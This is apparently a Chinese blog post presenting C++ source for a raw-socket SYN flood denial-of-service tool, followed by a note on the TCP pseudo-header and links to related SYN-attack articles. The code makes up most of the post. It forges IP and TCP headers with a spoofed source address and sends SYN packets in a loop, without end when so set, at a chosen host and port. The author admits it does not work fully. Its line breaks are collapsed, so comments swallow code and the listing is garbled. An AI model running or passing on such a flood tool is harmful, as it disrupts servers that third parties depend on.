syn包发送（拒绝攻击，但是有问题）

实现上的问题：rst报文无法阻断

#include "stdio.h"
#include "sys/socket.h"
#include "sys/time.h"
#include "sys/types.h"
#include "string.h"
#include "unistd.h"
#include "netdb.h"
#include "time.h"
#include "netinet/in.h"
#include "arpa/inet.h"
#include "stdlib.h"
struct IPHEAD{unsigned char ver_hlen;unsigned char tos;unsigned short dlen;unsigned short brand;unsigned short f_index;unsigned char ttl;unsigned char proto;unsigned short checksum;unsigned int src;unsigned int des;
};//no item
int f=1;
struct TCPHEAD{unsigned short srcport;unsigned short desport;unsigned int seq;unsigned int ack;unsigned char hlen;//4 bit unusedunsigned char f;//from the last,second is synunsigned short recvwnd;unsigned short checksum;unsigned short ep;//p_headunsigned int src;unsigned int des;unsigned char zero;unsigned char proto;unsigned short len;
};//no data
struct syn{hostent *ht;sockaddr_in addr;int sock_raw;
#define SENDBUF_SIZE 1024*100char sendbuf[SENDBUF_SIZE];int times;//functionsyn(int,char*,int);int syn_start();int syn_packet();int srcaddr();int syn_exit();unsigned short checksum(unsigned short*,int);
};
int syn::syn_exit(){close(sock_raw);return 0;
}
syn::syn(int time,char*hostname,int port){times=time;if((sock_raw=socket(PF_INET,SOCK_RAW,IPPROTO_TCP))<0){printf("socket error!\n");exit(0);}if((setsockopt(sock_raw,IPPROTO_IP,IP_HDRINCL,(const char*)&f,sizeof(int)))<0){printf("setsockopt error!\n");close(sock_raw);exit(0);}if((ht=gethostbyname(hostname))==NULL){printf("dns error!\n");close(sock_raw);exit(0);}memset(&addr,0,sizeof(sockaddr));addr.sin_family=AF_INET;addr.sin_port=htons(port);memcpy(&addr.sin_addr,ht->h_addr_list[0],sizeof(addr.sin_addr));
}
unsigned short syn::checksum(unsigned short*s,int size){int i,sum=0;for(i=0;i<size;i++)sum+=s[i];while(sum&0xffff0000){sum=(sum>>16)+(sum&0x0000ffff);}return ~sum;
}
int syn::syn_packet(){IPHEAD ip;TCPHEAD tcp;//ip.ver_hlen=0x45;ip.tos=0x00;ip.dlen=htons(40);ip.brand=htons(rand()%0xffff);ip.f_index=htons(0x4000);ip.ttl=64;ip.checksum=0;ip.proto=6;char src[16];memset(src,0,sizeof(src));//sprintf(src,"%d.%d.%d.%d",192,10,rand()%255,1+rand()%40);sprintf(src,"10.180.49.217");in_addr_t inaddrt=inet_addr(src);memcpy(&ip.src,&inaddrt,sizeof(int));memcpy(&ip.des,&addr.sin_addr,sizeof(int));ip.checksum=checksum((unsigned short*)&ip,sizeof(IPHEAD)/2);//tcp.srcport=htons(rand()%64536+1000);//tcp.srcport=htons(65535);tcp.desport=(unsigned short)addr.sin_port;tcp.seq=htonl(rand()%(1<<30));tcp.ack=0;tcp.hlen=0x50;tcp.f=0x02;tcp.recvwnd=htons(2900);tcp.checksum=0;tcp.ep=0;//tcp.des=ip.des;tcp.src=ip.src;tcp.zero=0;tcp.proto=6;tcp.len=htons(20);tcp.checksum=checksum((unsigned short*)&tcp,sizeof(TCPHEAD)/2);//memset(sendbuf,0,sizeof(sendbuf));memcpy(sendbuf,&ip,sizeof(ip));memcpy(sendbuf+sizeof(ip),&tcp,20);return 0;
}
int syn::syn_start(){srand(time(NULL));int i=0,f=0;if(times<0)f=1;while(i<times||f){syn_packet();if((sendto(sock_raw,sendbuf,40,0,(sockaddr*)&addr,sizeof(sockaddr)))<0){printf("send error!");}
//        sleep(1);printf("*");i++;}return 0;
}

知识点补充：tcp存在伪首部，需要注意

syn包发送（拒绝攻击，但是有问题）相关推荐

linux内核协议栈 connect 系统调用Ⅰ之发送 SYN 包
Table of Contents 1 connect 功能概述 2. connect 内核实现 2.1 sys_connect 2.2 TCP流式套接字连接 inet_stream_connect ...
如何抵御SYN拒绝攻击？
如何抵御SYN拒绝攻击? 分布式拒绝服务攻击(DDoS) SYN攻击是DDos攻击的一种形式,这种形式攻击者伪装成终端不停地向服务器发起SYN请求.通常攻击者的肉鸡,发送了SYN之后,不等给服务端AC ...
Teardrop攻击--伪造虚假的IP数据包发送并抓取及完成简易静态网页
目录 Teardrop攻击--伪造虚假的IP数据包发送并抓取一.相关介绍 1.IP协议 2.Teardrop攻击二.编写Teardrop程序(伪造一个虚假地址的IP包) 三.参考链接完成简易静态 ...
【HTTPS协议】如何抵御 SYN 拒绝攻击？
[HTTPS协议]如何抵御 SYN 拒绝攻击? 文章目录 [HTTPS协议]如何抵御 SYN 拒绝攻击? 写在前面拒绝服务攻击(DoS) DDoS 的种类防范措施中间人攻击如何抵御 SYN 拒 ...
【网络篇】TCP SYN Flood Attack(洪水攻击)
文章目录 SYN Flood Attack是什么? SYN Flood Attack的阶段 SYN Flood Attack原理 SYN Flood Attack的防御措施具体防御手段:syn co ...
linux回包不是来包的ip,Linux 只能收到 SYN 包不能回包
Linux 只能收到 SYN 包不能回包问题如果用户发现云主机不能登录,例如无法远程 22 端口或其他端口,但是更换网络环境正常,服务端抓包发现客户端发包只有 SYN,没有回包,可以执行 net ...
Windows下底层数据包发送实战
为什么80%的码农都做不了架构师?>>> 1.简介所谓"底层数据包"指的是在"运行"于数据链路层的数据包,简单的说就是"以太 ...
SYN包TCP选项的设置
一个SYN可能包括这些内容:初始系列号.初始窗口大小.MSS.窗口扩大因子.时间戳. 那么是怎么决定是否设置某个选项,怎样设置的呢?例如窗口扩大因子有关传输的性能,我可以怎么样改动这个值呢? 下面来看 ...
《关于TCP SYN包的超时与重传》——那些你应该知道的知识（四）
近日,在分析某项业务故障时,抓取到,TCP客户端发送SYN包,对端没有收到,然而客户端也没有进行SYN包重传的现象.具体情况如下图: 可以看到,经过过滤,本次抓包抓取到的tcp连接情况,只有客户端主动 ...
java syn包_月薪3K的后端面试点-网络与Java
网络基础传输控制协议TCP简介面向连接的.可靠的.基于字节流的传输层通信协议将应用层的数据流分割成报文段并发送给目标节点的TCP层数据包都有序号,对方收到则发送ACK确认,未收到则重传使用校 ...

syn包发送（拒绝攻击，但是有问题）

syn包发送（拒绝攻击，但是有问题）相关推荐

最新文章

热门文章